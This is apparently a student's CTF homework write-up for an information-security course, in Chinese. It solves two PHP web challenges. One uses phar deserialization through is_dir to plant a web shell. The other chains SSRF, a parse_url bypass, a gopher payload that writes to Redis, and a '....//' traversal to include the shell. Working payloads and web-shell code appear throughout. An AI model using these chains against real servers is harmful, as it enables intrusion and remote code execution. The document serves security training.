---
# System prepended metadata

title: HW6
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# HW6

## Rero meme

這題在看到lib.php裡面meme class裡存檔是寫在__destruct裡面我就猜到可能是要用反序列化的方法去assign我們要的檔名跟內容來做到RCE，但是我這個地方卡了一個禮拜，先來說說我觀察到了甚麼地方可能可以利用

* `file_put_contents`
* `file_get_contents`
* `exif_imagetype`

我原本看到這三個有關讀檔案的我想說穩了，就是他們能夠讓我來上傳一個phar檔案來做到反序列化的洞，但是`exif_imagetype`跟`file_get_contents`都被寫死去讀`$_FILE['meme']['tmp_name']`這個部分，這部分是我們無法控制的，因為tmp name是由server端那邊的配置來決定，那如果照他code正常地走的話，file_put_contents也不可能用phar這個協議來去寫檔，因為meme class在創建時filename開頭寫死了images/，所以後來我就以為我想錯了，搞不好其實不是反序列化的題目...，所以後來我就看到`$this->username = $_SESSION['username'] = $username;`這個地方，又想如果我可以把session的檔案include到這個網頁然後再登入時注入的是一段php code如下

* `<?php system($_GET['cmd']);?>`

如果能做到的話，我就可以在上面做到RCE...，但是根本沒有地方給我LFI，所以這條路也行不通，於是乎我就放棄去寫第二題了www，寫完第二題回來又看了三四天感覺還是找不到洞給我打，在11/27號晚上睡覺的時候就突然想到一個部分先上code

* `if(!is_dir($username)) mkdir($username);`

我突然就想到username我們完全可以控制，雖然is_dir看起來不像是會去讀檔案的感覺但我想說就試試看，就在自己的電腦上寫了一個簡單的測試程式來測看看

* 首先我先把原本meme的destruct改寫成

  ```php
  function __destruct()
  {
      if ($this->content != NULL)
          echo $this->content;
  }
  ```

* 自己寫了一個生成phar的php code

  ```php
  <?php
  class Meme
  {
      public $title = NULL;
      public $author = NULL;
      public $filename = "images/meow1.php";
      private $content = "123";
  }
  $phar = new Phar("test/pharfile.phar.gif");
  $phar->startBuffering();
  $phar->setStub("GIF89a"."<?phar __HALT_COMPILER(); ?>");
  $obj = new Meme();
  $phar->setMetadata($obj);
  $phar->addFromString("fuck.txt", "owo");
  $phar->stopBuffering();
  ?>
  ```

* 然後再要執行在server上的php code加上這一行來看看會不會輸出123

  ```php
  !is_dir("phar://pharfile.phar.gif/fuck.txt");
  ```

* 測試結果，最後果然能夠成功反序列化，在網頁上顯示了123

上面的測試結果讓我確定了，is_dir用phar這個協議去執行的時候也能夠執行，且能夠反序列化檔案，自己想了那麼久才想到，最後去google就發現有人把受phar影響的function都列出來了，我是白癡。

所以最後我就把$content的部分改成`"<?php system(\$_GET['cmd']);?>"`，先隨邊登入一個帳號(假設這個username為u1)把這個phar file上傳後取名為test.phar，因為這題會自動幫我在最後的副檔名加上.gif，所以實際上的檔名是test.phar.gif，然後我在登出後用另一個帳號登入，username為phar://u1/test.phar.gif，登入後我在網址後面在接上/images/meow1.php?cmd=ls，果然成功RCE了，到此為止就算是把這題給解決了。

FLAG

```
FLAG{レロレロ?RERO!レロレロ,RERO?レロレロ~}
```


## BASE64 ENCODE

這一題比起上一題來說...，只能說雖然都很簡單但不知道為啥這題我解的就比較順利，這題點進題目網站後有個能輸入網址的地方，輸入按下轉換後會把讀到的東西轉為base64的內容，我就在想他這個去查網址內容的部分該不會是用curl吧，我就嘗試輸入了`file:///var/www/html/index.php`後把內容拿去base64 decode，果然拿到了這題的source code，在看了一下後有個地方是include page/result.inc.php的地方，所以我又輸入`file:///var/www/html/page/result.inc.php`來去拿到第二個部分的code，就看到果然是用curl去抓到內容的，那麼首先在index.php這code他提示了我要去找local service，我就想說我也不太會找就去[google](https://github.com/w181496/Web-CTF-Cheatsheet)到了一些可能存有重要資訊的檔名路徑，大概有

* file:///etc/passwd
* file:///proc/self/cmdline
* file:///proc/self/exe
* file:///proc/self/environ

那讓我比較感興趣的是passwd這個檔案，進去之後就發現有一個redis的service，uid為101，然後我就大概知道是要用redis寫檔來RCE了，那首先我要存取到server上的service我需要127.0.0.x之類的，但在page.inc.php裡面把這個給檔掉了，但是他是用parse_url，而且他code是`if ($hostname = parse_url($url)['host'])`，所以我只要讓這個parse_url壞掉就可以了，這很簡單，只要我在`gopher://`、`http://`或`dict://`之類的後面接/127.0.0.1而不是直接打127.0.0.1就能成功繞過去了，且url在解析`http:///127.0.0.1`的時候會自動變成`http://127.0.0.1`，所以現在能夠利用gopher來做ssrf了，但當我輸入`dict:///127.0.0.1:6379/info`時，並沒有成功連上，也就是說這題的redis並沒有開在預設的port上，我們必須要找出來。

要找port我猜是要去有關網路的地方找，所以我就看了一下我自己的server裡/proc/self/net下面有甚麼檔案，發現有tcp跟udp之類的檔案，那我就猜應該這裡會有我要的，我就去存取題目server的tcp檔案了，果然看到了以下的東西：

* sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid
* 7: 0100007F:69FE 0100007F:ADF2 01 00000000:00000000 02:00001D17 00000000   101

先前我在讀passwd檔案時知道redis的uid是101，這裡我又看到了有關uid 101的address資訊，7F是127，那我猜後面的69FE就是port吧，換成十進制後就是27134，所以我再次輸入`dict:///127.0.0.1:27134/info`後果然看到了redis的資訊。

接下來就是要寫檔了，redis要怎麼寫檔的方法網路上很多就去找了，但我碰上了第二個問題，我沒有權限寫在/var/www/html的路徑下面，但可以寫在tmp的路徑下，且index.php有一段code

```php
$page = str_replace("../", "", $_GET['page'] ?? 'home');
include("page/$page.inc.php");
```

也就是說我能寫在tmp路徑下了，我接下來就是要做到LFI，把tmp路徑下的php檔include進來，寫得有點長了我以下重點我先用條列式

* `str_replace("../", "", $_GET['page'] ?? 'home')`這段code讓我們輸入`../`會變成空字串
* 我們無法利用../來回去上一個路徑，但他只做一次replace所以很好繞過
* `....//`，就能成功讓他解析成`../`
* 所以最後就會變成輸入`?page=....//....//....//....//tmp/filename`
* 利用gopher X redis寫一個`"<?php system($_GET['cmd']);?>"`的內容
* 檔名叫做shell.inc.php
* SAVE後在網頁上輸入`?page=....//....//....//....//tmp/shell&cmd=your cmd`就能成功RCE了
* `gopher:///127.0.0.1:27134/_FLUSHALL%0D%0ASET%20shell%20%22%3C%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2Ftmp%0ACONFIG%20SET%20DBFILENAME%20shell.inc.php%0D%0ASAVE%0D%0AQUIT`

最後拿到的FLAG

```
FLAG{data:text/flag;r3d1s-s3rv3r}
```